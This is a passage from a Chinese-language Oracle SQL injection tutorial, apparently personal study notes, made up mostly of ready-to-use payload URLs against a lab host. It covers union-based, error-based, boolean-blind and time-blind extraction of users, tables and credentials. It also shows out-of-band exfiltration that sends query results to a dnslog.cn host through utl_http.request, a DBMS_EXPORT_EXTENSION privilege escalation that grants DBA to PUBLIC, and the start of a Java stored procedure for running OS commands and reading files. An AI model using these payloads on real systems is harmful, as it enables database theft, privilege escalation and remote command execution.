http://hackrock.com:8080/oracle/?id=-1 union select 1,&apos;2&apos;,&apos;3&apos; from dual --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.获取数据库基本信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取数据库版本
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),&apos;3&apos; from dual --+        

获取数据库的实例名(SYS用户才可查询)
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select instance_name from v_$instance),&apos;3&apos; from dual --+    
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4.获取用户名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;Oracle没有数据库名的概念，所谓数据库名，即数据表的拥有者，也就是用户名。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;获取第一个用户名
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select username from all_users where rownum=1),&apos;3&apos; from dual --+    

获取第二个用户名
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select username from all_users where rownum=1 and username&amp;lt;&amp;gt;&apos;SYS&apos;),&apos;3&apos; from dual --+    

获取当前用户名
http://hackrock.com:8080/oracle/?id=-1 union select 1,(SELECT user FROM dual),&apos;3&apos; from dual --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5.获取表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取TEST用户的第一张表
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;),&apos;3&apos; from dual --+

获取TEST用户的第二张表
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos; and table_name&amp;lt;&amp;gt;&apos;NEWS&apos;),&apos;3&apos; from dual --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;6.获取字段名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取TEST用户的USERS表的第一个列名
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1),&apos;3&apos; from dual --+    

获取TEST用户的USERS表的第二个列名
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1 and column_name&amp;lt;&amp;gt;&apos;ID&apos;),&apos;3&apos; from dual --+    
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;7.获取数据&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=-1 union select 1,(select concat(concat(username,&apos;~~&apos;),password) from users where rownum=1),null from dual --+    
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;10)&lt;strong&gt;报错注入&lt;/strong&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在oracle注入时候出现了数据库报错信息，可以优先选择报错注入，使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句]，1&amp;gt;[报错语句]，使用比较运算符，这样的方式进行报错注入（MYSQL仅使用函数报错即可），类似mssql报错注入的方式。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1.utl_inaddr.get_host_name()函数报错注入&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;utl_inaddr.get_host_address 本意是获取ip 地址，但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后，把一些系统变量都放置到一些特定的视图当中，可以利用这些视图获得想要的东西。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name(&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name(&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name(&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name(&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2.ctxsys.drithsx.sn()函数报错注入&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.&lt;strong&gt;dbms_xdb_version.checkin()函数报错注入&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin(&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) from dual) is not null --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin(&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) from dual) is not null --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin(&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin(&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4.&lt;strong&gt;dbms_xdb_version.makeversioned()函数报错注入&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned(&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) from dual) is not null --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned(&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) from dual) is not null --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned(&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned(&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5.&lt;strong&gt;dbms_xdb_version.uncheckout()函数报错注入&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout(&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) from dual) is not null --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout(&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) from dual) is not null --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout(&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout(&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;6.&lt;strong&gt;dbms_utility.sqlid_to_sqlhash()函数报错注入&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash(&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) from dual) is not null --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash(&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) from dual) is not null --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash(&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash(&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;7.&lt;strong&gt;ordsys.ord_dicom.getmappingxpath()函数报错注入&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath(&apos;~&apos;%7c%7c(select user from dual)%7c%7c&apos;~&apos;) from dual) is not null --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath(&apos;~&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;~&apos;) from dual) is not null --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath(&apos;~&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath(&apos;~&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;~&apos;) from dual) is not null --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;8.&lt;strong&gt;XMLType()函数报错注入&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+

获取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7cchr(62))) from dual) is not null --+

获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7cchr(62))) from dual) is not null --+

获取数据
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;11)布尔型盲注&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;decode()函数布尔盲注

decode(字段或字段的运算，值1，值2，值3）

这个函数运行的结果是，当字段或字段的运算的值等于值1时，该函数返回值2，否则返回3。

当然值1，值2，值3也可以是表达式，这个函数使得某些sql语句简单了许多。

使用方法：

比较大小
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sign()函数根据某个值是0、正数还是负数，分别返回0、1、-1

例如：

变量1=10，变量2=20，则sign(变量1-变量2)返回-1，decode解码结果为“变量1”，达到了取较小值的目的。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;select decode(sign(10-20),-1,10,20) from dual;                   
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1.&lt;strong&gt;猜解当前用户&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;判断是否是TEST用户
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(user,&apos;TEST&apos;,1,0) from dual) --+

也可利用substr()函数进行逐一猜解
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;),1,1),&apos;T&apos;,1,0) from dual) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2.&lt;strong&gt;猜解表名&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;),1,1),&apos;N&apos;,1,0) from dual) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.&lt;strong&gt;猜解字段名&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1),1,1),&apos;I&apos;,1,0) from dual) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4.&lt;strong&gt;猜解数据&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),&apos;a&apos;,1,0) from dual) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5.&lt;strong&gt;instr()函数布尔盲注&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;instr函数的使用，从一个字符串中查找指定子串的位置。例如：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;select instr(&apos;abcdef123de&apos;,&apos;de&apos;) position from dual;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/f4c2f88089-f9ebd510a44a38c9b44c37ae1aa95a07.png&quot; alt=&quot;f9ebd510a44a38c9b44c37ae1aa95a07&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;从1开始算 de排第四所以返回4
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;6.&lt;strong&gt;布尔盲注中的应用&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),&apos;S&apos;))=1 --+

http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),&apos;SY&apos;))=1 --+

http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),&apos;SYS&apos;))=1 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;payload构造如上。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;7.&lt;strong&gt;substr()函数布尔盲注&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;获取数据长度&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and (select length(user) from dual)=3 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜解ASCII码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and (select ascii(substr(user,1,1))from dual)&amp;gt;65 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;payload构造如上。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;12)&lt;strong&gt;时间型盲注&lt;/strong&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;oracle注入中可以通过页面响应的状态，这里指的是响应时间，通过这种方式判断SQL是否被执行的方式，便是时间盲注。

oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE()，而另外一种便是decode()与高耗时SQL操作的组合，当然也可以是case，if 等方式与高耗时操作的组合，这里的高耗时操作指的是，例如：(select count(*) from all_objects)，对数据库中大量数据进行查询或其他处理的操作，这样的操作会耗费较多的时间，然后通过这个方式来获取数据。这种方式也适用于其他数据库。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1.&lt;strong&gt;dbms_pipe.receive_message()函数时间盲注&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒，但使用该函数存在许多限制。

首先，不能直接将该函数注入子查询中，因为Oracle不支持堆叠查询(stacked query)。其次，只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法，可以使用下面的指令以内联方式注入延迟：

dbms_pipe.receive_message(&apos;RDS&apos;, 10)

DBMS_PIPE.RECEIVE_MESSAGE()函数将为从RDS管道返回的数据等待10秒。默认情况下，允许以public权限执行该包。

DBMS_LOCK.SLEEP()与之相反，它是一个可以用在SQL语句中的函数。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;查看是否可以使用dbms_pipe.receive_message()函数进行延时注入
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 1=(dbms_pipe.receive_message(&apos;RDS&apos;,5)) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/5089765cc4-dc9e62f3cf913ba6f89ac0b3d73e8a80.png&quot; alt=&quot;dc9e62f3cf913ba6f89ac0b3d73e8a80&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体payload构造：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;猜解当前用户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) &amp;gt; 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜解表名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner=&apos;TEST&apos;),1,1)) &amp;gt; 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜解字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1),1,1)) &amp;gt; 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜解数据&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) &amp;gt; 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2.&lt;strong&gt;decode()函数时间盲注&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;（select count(*) from all_objects)会花费更多时间去查询所有数据库的条目。不过在使用的过程中有很多不尽如人意的地方，有时候加载快有时加载慢。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;时间盲注的应用&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr(user,1,1),&apos;S&apos;,(select count(*) from all_objects),0) from dual)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload构造如上。&lt;/p&gt;
&lt;h6&gt;3.&lt;strong&gt;decode()与dbms_pipe.receive_message()嵌套时间盲注&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;时间盲注的应用&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr(user,1,1),&apos;S&apos;,dbms_pipe.receive_message(&apos;RDS&apos;, 5),0) from dual)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload构造如上。&lt;/p&gt;
&lt;h5&gt;13)&lt;strong&gt;DNS带外通信注入&lt;/strong&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;Oracle注入之带外通信和DNSLOG注入非常相似，例如和mysql中load_file()函数实现无回显注入非常相似。

Oracle发送HTTP和DNS请求，并将查询结果带到请求中，然后检测外网服务器的HTTP和DNS日志，从日志中获取查询结果，通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。

使用第三方平台，监听访问请求，并记录请求的日志信息，然后使用utl_http.request()向外网主机发送http请求，请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测。或许这就是Oracle的SSRF。

利用utl.inaddr.get_host_address()，将查询结果拼接到域名下，并使用DNS记录解析日志，通过这种方式获取查询结果。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1.&lt;strong&gt;检测是否支持utl_http.request&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 and exists (select count(*) from all_objects where object_name=&apos;UTL_HTTP&apos;) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;若页面返回正常，这说明支持utl_http.request&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;构造payload&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;获取用户名
http://hackrock.com:8080/oracle/?id=1 and utl_http.request(&apos;http://&apos;%7c%7c(select user from dual)%7c%7c&apos;.z9mt3s.dnslog.cn/oracle&apos;)=1--+

获取表名
http://hackrock.com:8080/oracle/?id=1 and utl_http.request(&apos;http://&apos;%7c%7c(select table_name from all_tables where rownum=1 and owner=&apos;TEST&apos;)%7c%7c&apos;.z9mt3s.dnslog.cn/oracle&apos;)=1--+

获取列名
http://hackrock.com:8080/oracle/?id=1 and utl_http.request(&apos;http://&apos;%7c%7c(select column_name from all_tab_columns where owner=&apos;TEST&apos; and table_name=&apos;USERS&apos; and rownum=1)%7c%7c&apos;.z9mt3s.dnslog.cn/oracle&apos;)=1--+

获取数据
http://hackrock.com:8080/oracle/?id=1 and utl_http.request(&apos;http://&apos;%7c%7c(select username from test.users where rownum=1)%7c%7c&apos;.z9mt3s.dnslog.cn/oracle&apos;)=1--+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2.&lt;strong&gt;利用漏洞提权执行命令&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;Oracle提权漏洞集中存在于PL/SQL编写的函数、存储过程、包、触发器中。Oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致（定义者权限和调用者权限）。定义者权限给了低权限用户在特定时期拥有高权限的可能，这就给提权操作奠定了基础。

即，无论调用者权限如何，执行存储过程的结果权限永远为定义者权限，因此，如果一个较高权限的用户定义了存储过程，并赋予了低权限用户调用权限，较低权限的用户即可利用这个存储过程提权。

Java作为Oracle公司的主打语言，具有内置的安全性机制和高效的垃圾收集系统。Java还具有一组非常大的、丰富的标准库，从而可以更快、更低成本地开发应用程序。因此Oracle公司在它的Oracle数据库中，同样支持了使用Java来编写存储过程。

那么对于攻击者来说，完全可以通过这一特性，在系统上执行Java代码，从而完成提权操作。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c743c201a4-80d202294ff4ece7bafd357b32301c6e.png&quot; alt=&quot;80d202294ff4ece7bafd357b32301c6e&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本文测试环境均为&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CentOS Linux release 7.2.1511 (Core)

Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit Production
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行方式很多种，这边只研究Oracle10g，并且本地实测成功的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;•DBMS_EXPORT_EXTENSION()

•dbms_xmlquery.newcontext()

•DBMS_JAVA_TEST.FUNCALL()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;dbms_export_extension()&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;•影响版本：Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)

•权限：None

•详情：这个软件包有许多易受PL/SQL注入攻击的函数。这些函数由SYS拥有，作为SYS执行并且可由PUBLIC执行。因此，如果SQL注入处于上述任何未修补的Oracle数据库版本中，那么攻击者可以调用该函数并直接执行SYS查询。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.&lt;strong&gt;提升权限&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;	该请求将导致查询&quot;GRANT DBA TO PUBLIC&quot;以SYS身份执行。因为这个函数允许PL / SQL缺陷（PL / SQL注入）。一旦这个请求成功执行，PUBLIC获取DBA角色，从而提升当前user的特权
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;grant dba to public&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4.&lt;strong&gt;使用Java执行&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;创建Java库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;create or replace and compile java source named &quot;LinxUtil&quot; as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return 